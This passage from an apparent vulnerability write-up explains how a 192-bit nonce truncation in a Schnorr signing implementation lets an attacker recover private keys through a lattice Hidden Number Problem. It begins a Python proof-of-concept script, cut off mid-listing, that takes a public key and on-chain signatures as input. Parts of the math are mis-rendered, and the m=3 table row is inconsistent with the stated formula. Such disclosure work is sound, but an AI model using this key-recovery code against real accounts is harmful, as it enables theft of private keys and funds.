recovery</h2> <h3 id="per-signature-constraint">Per-signature constraint</h3> <p>From $s = (k - rd) \bmod n$:</p> <p>$$k \equiv s + rd \pmod{n}$$</p> <p>With the bug, $0 \leq k_i &lt; 2^{192}$ for every signature $i$. Each $(r_i, s_i)$ pair therefore constrains:</p> <p>$$0 ;\leq; \big(s_i + r_i d\big) \bmod n ;&lt;; 2^{192}$$</p> <p>This is an instance of the <strong>Hidden Number Problem</strong> (Boneh–Venkatesan, 2001): given $m$ samples $(r_i, s_i)$ with $t_i = (s_i + r_i d) \bmod n$ satisfying $0 \leq t_i &lt; 2^{\ell}$ where $\ell = 192$, recover $d$.</p> <h3 id="information-theoretic-bound">Information-theoretic bound</h3> <p>Each sample constrains $d$ to a $1/2^{64}$ fraction of $\mathbb{Z}_n$. Recovering $d$ requires:</p> <p>$$m \cdot 64 \geq 256 \quad\Longrightarrow\quad m_{\min} = \left\lceil \frac{256}{64} \right\rceil = 4$$</p> <p>At $m = 4$ the attack is information-theoretically possible but lattice-reduction-tight. At $m \geq 5$ it is reliable.</p> <h2 id="lattice-construction">Lattice construction</h2> <h3 id="recentering">Recentering</h3> <p>Breitner–Heninger recentering halves the target norm. Substitute $t_i = 2^{191} + e_i$ with $|e_i| \leq 2^{191}$, and $s'_i = (s_i - 2^{191}) \bmod n$:</p> <p>$$e_i \equiv s'_i + r_i d \pmod{n}, \qquad |e_i| \leq 2^{191}$$</p> <h3 id="basis-matrix">Basis matrix</h3> <p>Given $m$ signatures, let $K = 2^{191}$. Construct the $(m+2)$-dimensional lattice $\Lambda \subset \mathbb{Z}^{m+2}$ with basis:</p> <p>$$B = \begin{pmatrix} n &amp; &amp; &amp; &amp; &amp; \ &amp; n &amp; &amp; &amp; &amp; \ &amp; &amp; \ddots &amp; &amp; &amp; \ &amp; &amp; &amp; n &amp; &amp; \ r_1 &amp; r_2 &amp; \cdots &amp; r_m &amp; K/n &amp; 0 \ s'_1 &amp; s'_2 &amp; \cdots &amp; s'_m &amp; 0 &amp; K \end{pmatrix} \in \mathbb{Z}^{(m+2) \times (m+2)}$$</p> <h3 id="target-short-vector">Target short vector</h3> <p>$$\mathbf{t} = \big(e_1,; e_2,; \ldots,; e_m,; Kd/n,; K\big) \in \Lambda$$</p> <p>$\mathbf{t}$ is a lattice vector: subtracting row $m$ and row $m{+}1$ from appropriate multiples of rows $0{,}..{,}m{-}1$ zeroes the first $m$ coordinates (since $e_i \equiv s'_i + r_i d \pmod n$). Its norm:</p> <p>$$|\mathbf{t}| \approx \sqrt{m+1} \cdot 2^{191}$$</p> <h3 id="extracting-d">Extracting $d$</h3> <p>Once LLL finds $\mathbf{t}$ (or a scalar multiple), read off coordinate $m$:</p> <p>$$d = \frac{\mathbf{t}[m] \cdot n}{K} \pmod{n}$$</p> <p>Self-verify: accept $d$ iff $dG \stackrel{?}{=} P$ (the device public key).</p> <h2 id="why-lll-succeeds-gap-analysis">Why LLL succeeds: gap analysis</h2> <h3 id="determinant">Determinant</h3> <p>$$\det(\Lambda) = n^{m-1} \cdot K^2 = n^{m-1} \cdot 2^{382}$$</p> <h3 id="gaussian-heuristic-for-lambda-1">Gaussian heuristic for $\lambda_1$</h3> <p>$$\lambda_1(\Lambda) \approx \sqrt{\frac{m+2}{2\pi e}} \cdot \det(\Lambda)^{1/(m+2)}$$</p> <p>$$\log_2 \lambda_1 \approx \frac{(m-1) \cdot 256 + 382}{m+2} + \frac{1}{2}\log_2!\left(\frac{m+2}{2\pi e}\right)$$</p> <h3 id="gap-per-m">Gap per $m$</h3> <p>The gap is $\log_2 \lambda_1 - \log_2 |\mathbf{t}|$ — how much "room" LLL has. LLL outputs a vector within $2^{(d-1)/4}$ of $\lambda_1$ (theoretical worst case); in practice much closer.</p> <table><thead><tr><th>$m$</th><th>$\dim$</th><th>$\log_2 \det^{1/d}$</th><th>$\log_2 |\mathbf{t}|$</th><th>gap</th><th>verdict</th></tr></thead><tbody> <tr><td>3</td><td>5</td><td>$\frac{768+382}{5} = 230$</td><td>$\approx 192$</td><td>$-38$</td><td><strong>impossible</strong> (info-theoretic)</td></tr> <tr><td>4</td><td>6</td><td>$\frac{768+382}{6} \approx 191.7$</td><td>$\approx 192.2$</td><td>$\approx -0.5$</td><td>borderline</td></tr> <tr><td>5</td><td>7</td><td>$\frac{1024+382}{7} \approx 200.9$</td><td>$\approx 192.3$</td><td>$\approx -8.6$</td><td>reliable</td></tr> <tr><td>6</td><td>8</td><td>$\frac{1280+382}{8} = 207.8$</td><td>$\approx 192.5$</td><td>$\approx -15.3$</td><td>trivial</td></tr> </tbody></table> <p>Negative gap means $|\mathbf{t}| &lt; \lambda_1(\Lambda)$ — the target vector is <strong>shorter</strong> than the expected shortest vector, so LLL finds it as one of its first reduced basis vectors.</p> <p>At $m = 4$ the target sits right at $\lambda_1$; LLL may need $\pm$-combination of basis vectors to extract it. At $m \geq 5$ it dominates.</p> <h2 id="proof-of-concept">Proof of concept</h2> <p>The attack uses <strong>only</strong> public on-chain data — the device is never needed. Collect the target account's signed transactions, extract $(r, s)$ pairs, build the lattice, run LLL, verify $dG = P$.</p> <pre class="giallo" style="color: #CDD6F4; background-color: #1E1E2E;"><code data-lang="python"><span class="giallo-l"><span style="color: #9399B2;font-style: italic;">#!/usr/bin/env python3</span></span> <span class="giallo-l"><span style="color: #A6E3A1;">&quot;&quot;&quot;</span></span> <span class="giallo-l"><span style="color: #A6E3A1;">hnp.py — Blind private-key recovery via lattice HNP (NO private key needed).</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #A6E3A1;">If the 40-byte nonce pipeline in schnorr.c:74-76 truncates k to 192 bits</span></span> <span class="giallo-l"><span style="color: #A6E3A1;">(right-aligned cx_math_modm → memcpy(nonce, 32) grabs 00×8 ‖ v[0..24), i.e.</span></span> <span class="giallo-l"><span style="color: #A6E3A1;">k = v &gt;&gt; 64), then every signature leaks 64 known zero MSBs of its nonce:</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #A6E3A1;"> k_i = (s_i + r_i·d) mod n with 0 ≤ k_i &lt; 2^192</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #A6E3A1;">That is the Hidden Number Problem. An LLL-reduced lattice (Nguyen–Shparlinski</span></span> <span class="giallo-l"><span style="color: #A6E3A1;">construction) exposes the short target vector (k_1..k_m, K·d/n, K), from which</span></span> <span class="giallo-l"><span style="color: #A6E3A1;">d falls out. m = 4 signatures is the information-theoretic minimum (borderline),</span></span> <span class="giallo-l"><span style="color: #A6E3A1;">m ≥ 5 is comfortable. Messages are NOT needed — only the (r, s) pairs.</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #A6E3A1;">Self-verifying: a candidate d is accepted iff d·G == device pubkey.</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #A6E3A1;">Pure stdlib (exact-fraction LLL; lattice dim ≤ 8, runs in seconds).</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #A6E3A1;">Usage:</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> python3 poc/hnp.py --selftest # synthetic truncated-k proof</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> python3 poc/hnp.py --pubkey &lt;66hex&gt; --sig &lt;r‖s&gt; [--sig &lt;r‖s&gt; ...] [--kbits N]</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #A6E3A1;">Arguments:</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> --pubkey compressed device pubkey, 66 hex chars (02/03‖x)</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> --sig one signature as 128 hex chars (r‖s); repeat per signature</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> --kbits nonce upper bound in bits, k &lt; 2^kbits (default 192 = 40-byte truncation)</span></span> <span class="giallo-l"><span style="color: #A6E3A1;">&quot;&quot;&quot;</span></span> <span class="giallo-l"><span style="color: #CBA6F7;">import</span><span> sys</span><span style="color: #9399B2;">,</span><span> hashlib</span><span style="color: #9399B2;">,</span><span> random</span><span style="color: #9399B2;">,</span><span> argparse</span></span> <span class="giallo-l"><span style="color: #CBA6F7;">from</span><span> fractions</span><span style="color: #CBA6F7;"> import</span><span> Fraction</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>Pp</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;"> 0x</span><span style="color: #FAB387;">FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F</span></span> <span class="giallo-l"><span>N</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;"> 0x</span><span style="color: #FAB387;">FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141</span></span> <span class="giallo-l"><span>G</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span style="color: #CBA6F7;">0x</span><span style="color: #FAB387;">79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798</span><span style="color: #9399B2;">,</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> 0x</span><span style="color: #FAB387;">483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># ─── minimal affine secp256k1 (verification + selftest only) ───────────</span></span> <span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> inv</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">a</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> m</span><span style="color: #94E2D5;">=</span><span style="color: #EBA0AC;">Pp</span><span style="color: #9399B2;">):</span><span style="color: #CBA6F7;"> return</span><span style="color: #FAB387;font-style: italic;"> pow</span><span style="color: #9399B2;">(</span><span>a</span><span style="color: #94E2D5;"> %</span><span> m</span><span style="color: #9399B2;">,</span><span> m</span><span style="color: #94E2D5;"> -</span><span style="color: #FAB387;"> 2</span><span style="color: #9399B2;">,</span><span> m</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> add</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> A</span><span style="color: #CBA6F7;"> is</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span> B</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> B</span><span style="color: #CBA6F7;"> is</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span> A</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #EBA0AC;font-style: italic;"> A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> ==</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> and</span><span style="color: #9399B2;"> (</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> +</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">])</span><span style="color: #94E2D5;"> %</span><span> Pp</span><span style="color: #94E2D5;"> ==</span><span style="color: #FAB387;"> 0</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span style="color: #FAB387;"> None</span></span> <span class="giallo-l"><span> lam</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span style="color: #FAB387;">3</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">*</span><span style="color: #89B4FA;">inv</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">2</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]))</span><span style="color: #94E2D5;"> %</span><span> Pp</span><span style="color: #CBA6F7;"> if</span><span> A</span><span style="color: #94E2D5;"> ==</span><span> B</span><span style="color: #CBA6F7;"> else</span><span style="color: #9399B2;"> ((</span><span style="color: #EBA0AC;font-style: italic;">B</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">-</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">])</span><span style="color: #94E2D5;">*</span><span style="color: #89B4FA;">inv</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">B</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">-</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]))</span><span style="color: #94E2D5;"> %</span><span> Pp</span></span> <span class="giallo-l"><span> x</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span>lam</span><span style="color: #94E2D5;">*</span><span>lam</span><span style="color: #94E2D5;"> -</span><span style="color: #EBA0AC;font-style: italic;"> A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> -</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">])</span><span style="color: #94E2D5;"> %</span><span> Pp</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span style="color: #9399B2;"> (</span><span>x</span><span style="color: #9399B2;">, (</span><span>lam</span><span style="color: #94E2D5;">*</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">-</span><span>x</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> -</span><span style="color: #EBA0AC;font-style: italic;"> A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">])</span><span style="color: #94E2D5;"> %</span><span> Pp</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> mul</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> A</span><span style="color: #94E2D5;">=</span><span style="color: #EBA0AC;">G</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span> R</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;"> None</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> while</span><span> k</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> k</span><span style="color: #94E2D5;"> &amp;</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">:</span><span> R</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> add</span><span style="color: #9399B2;">(</span><span>R</span><span style="color: #9399B2;">,</span><span> A</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> A</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> add</span><span style="color: #9399B2;">(</span><span>A</span><span style="color: #9399B2;">,</span><span> A</span><span style="color: #9399B2;">)</span><span>; k</span><span style="color: #94E2D5;"> &gt;&gt;=</span><span style="color: #FAB387;"> 1</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span> R</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> decomp</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">comp_hex</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span> b</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;font-style: italic;"> bytes</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">fromhex</span><span style="color: #9399B2;">(</span><span>comp_hex</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> x</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;font-style: italic;"> int</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">from_bytes</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">b</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">:</span><span style="color: #FAB387;font-style: italic;">33</span><span style="color: #9399B2;">],</span><span style="color: #A6E3A1;"> &#39;big&#39;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> y</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> pow</span><span style="color: #9399B2;">((</span><span>x</span><span style="color: #94E2D5;">*</span><span>x</span><span style="color: #94E2D5;">*</span><span>x</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 7</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> %</span><span> Pp</span><span style="color: #9399B2;">, (</span><span>Pp</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;">//</span><span style="color: #FAB387;">4</span><span style="color: #9399B2;">,</span><span> Pp</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #9399B2;"> (</span><span>y</span><span style="color: #94E2D5;"> &amp;</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> !=</span><span style="color: #9399B2;"> (</span><span style="color: #EBA0AC;font-style: italic;">b</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> &amp;</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">):</span><span> y</span><span style="color: #94E2D5;"> =</span><span> Pp</span><span style="color: #94E2D5;"> -</span><span> y</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span style="color: #9399B2;"> (</span><span>x</span><span style="color: #9399B2;">,</span><span> y</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> enc</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">pt</span><span style="color: #9399B2;">):</span><span style="color: #CBA6F7;"> return</span><span style="color: #CBA6F7;font-style: italic;"> bytes</span><span style="color: #9399B2;">([</span><span style="color: #FAB387;">2</span><span style="color: #94E2D5;"> |</span><span style="color: #9399B2;"> (</span><span style="color: #EBA0AC;font-style: italic;">pt</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> &amp;</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">)])</span><span style="color: #94E2D5;"> +</span><span style="color: #EBA0AC;font-style: italic;"> pt</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">].</span><span style="color: #89B4FA;">to_bytes</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">32</span><span style="color: #9399B2;">,</span><span style="color: #A6E3A1;"> &#39;big&#39;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># ─── exact-arithmetic LLL (Fractions; fine for dim ≤ ~10) ──────────────</span></span> <span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> nint</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">f</span><span style="color: #9399B2;">):</span><span style="color: #9399B2;font-style: italic;"> # nearest integer</span></span> <span class="giallo-l"><span> fl</span><span style="color: #94E2D5;"> =</span><span> f</span><span style="color: #9399B2;">.</span><span>numerator</span><span style="color: #94E2D5;"> //</span><span> f</span><span style="color: #9399B2;">.</span><span>denominator</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span> fl</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 1</span><span style="color: #CBA6F7;"> if</span><span> f</span><span style="color: #94E2D5;"> -</span><span> fl</span><span style="color: #94E2D5;"> &gt;=</span><span style="color: #89B4FA;"> Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 2</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> else</span><span> fl</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> gso</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">b</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> dim</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span> n_</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>b</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> bs</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [</span><span style="color: #EBA0AC;font-style: italic;">row</span><span style="color: #9399B2;">[:]</span><span style="color: #CBA6F7;"> for</span><span> row</span><span style="color: #CBA6F7;"> in</span><span> b</span><span style="color: #9399B2;">]</span></span> <span class="giallo-l"><span> mu</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [[</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">)]</span><span style="color: #94E2D5;">*</span><span>n_</span><span style="color: #CBA6F7;"> for</span><span> _</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>n_</span><span style="color: #9399B2;">)]</span></span> <span class="giallo-l"><span> B</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">)]</span><span style="color: #94E2D5;">*</span><span>n_</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> i</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>n_</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> j</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>i</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">]:</span></span> <span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> mu</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>j</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> sum</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">bs</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">))</span><span style="color: #94E2D5;"> /</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">]</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">):</span><span style="color: #EBA0AC;font-style: italic;"> bs</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> -=</span><span style="color: #EBA0AC;font-style: italic;"> mu</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>j</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">bs</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span></span> <span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> sum</span><span style="color: #9399B2;">(</span><span>x</span><span style="color: #94E2D5;">*</span><span>x</span><span style="color: #CBA6F7;"> for</span><span> x</span><span style="color: #CBA6F7;"> in</span><span style="color: #EBA0AC;font-style: italic;"> bs</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">])</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span> mu</span><span style="color: #9399B2;">,</span><span> B</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> lll</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">basis</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> delta</span><span style="color: #94E2D5;">=</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">99</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 100</span><span style="color: #9399B2;">)):</span></span> <span class="giallo-l"><span> dim</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">basis</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">])</span></span> <span class="giallo-l"><span> b</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [[</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span>x</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> for</span><span> x</span><span style="color: #CBA6F7;"> in</span><span> row</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> for</span><span> row</span><span style="color: #CBA6F7;"> in</span><span> basis</span><span style="color: #9399B2;">]</span></span> <span class="giallo-l"><span> mu</span><span style="color: #9399B2;">,</span><span> B</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> gso</span><span style="color: #9399B2;">(</span><span>b</span><span style="color: #9399B2;">,</span><span> dim</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> k</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;"> 1</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> while</span><span> k</span><span style="color: #94E2D5;"> &lt;</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>b</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> j</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #94E2D5;"> -</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #94E2D5;"> -</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span> q</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> nint</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: 